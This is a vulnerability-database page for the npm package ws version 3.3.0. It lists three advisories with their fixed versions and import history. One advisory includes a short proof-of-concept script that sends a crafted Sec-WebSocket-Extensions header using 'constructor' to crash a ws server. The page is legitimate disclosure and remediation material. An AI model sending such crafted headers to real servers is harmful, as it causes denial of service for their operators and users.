Staging Environment: Content and features may be unstable or change without notice.
Search for packages
Package details: pkg:npm/ws@3.3.0
purl pkg:npm/ws@3.3.0
Next non-vulnerable version 5.2.4
Latest non-vulnerable version 8.20.1
Risk 4.0
Vulnerabilities affecting this package (3)
Vulnerability Summary Fixed by
VCID-4851-mkc2-pqdw
Aliases:
GMS-2017-331
Denial of Service A specially crafted value of the `Sec-WebSocket-Extensions` header that uses `Object.prototype` property names as extension or parameter names can be used to make a `ws` server crash.
3.3.1
Affected by 1 other vulnerability.
VCID-4u5m-kp7t-x3cf
Aliases:
GHSA-5v72-xg48-5rpm
GMS-2019-145
Denial of Service in ws Affected versions of `ws` can crash when a specially crafted `Sec-WebSocket-Extensions` header containing `Object.prototype` property names as extension or parameter names is sent. ## Proof of concept ``` const WebSocket = require('ws'); const net = require('net'); const wss = new WebSocket.Server({ port: 3000 }, function () { const payload = 'constructor'; // or ',;constructor' const request = [ 'GET / HTTP/1.1', 'Connection: Upgrade', 'Sec-WebSocket-Key: test', 'Sec-WebSocket-Version: 8', `Sec-WebSocket-Extensions: ${payload}`, 'Upgrade: websocket', '\r' ].join('\r'); const socket = net.connect(3000, function () { socket.resume(); socket.write(request); }); }); ``` ## Recommendation Update to version 3.3.1 or later.
3.3.1
Affected by 1 other vulnerability.
VCID-h5b4-kz93-r7g3
Aliases:
CVE-2024-37890
GHSA-3h5v-q93c-6h6q
5.2.4
Affected by 0 other vulnerabilities.
6.2.3
Affected by 0 other vulnerabilities.
7.5.10
Affected by 0 other vulnerabilities.
8.17.1
Affected by 0 other vulnerabilities.
Vulnerabilities fixed by this package (0)
Vulnerability Summary Aliases
This package is not known to fix vulnerabilities.

Date Actor Action Vulnerability Source VulnerableCode Version
2026-06-01T08:07:54.739224+00:00 GitLab Importer Affected by VCID-h5b4-kz93-r7g3 https://gitlab.com/gitlab-org/advisories-community/-/blob/main/npm/ws/CVE-2024-37890.yml 38.6.0
2026-05-31T09:56:56.627037+00:00 GitLab Importer Affected by VCID-4u5m-kp7t-x3cf https://gitlab.com/gitlab-org/advisories-community/-/blob/main/npm/ws/GMS-2019-145.yml 38.6.0
2026-05-31T09:41:43.042022+00:00 GitLab Importer Affected by VCID-4851-mkc2-pqdw https://gitlab.com/gitlab-org/advisories-community/-/blob/main/npm/ws/GMS-2017-331.yml 38.6.0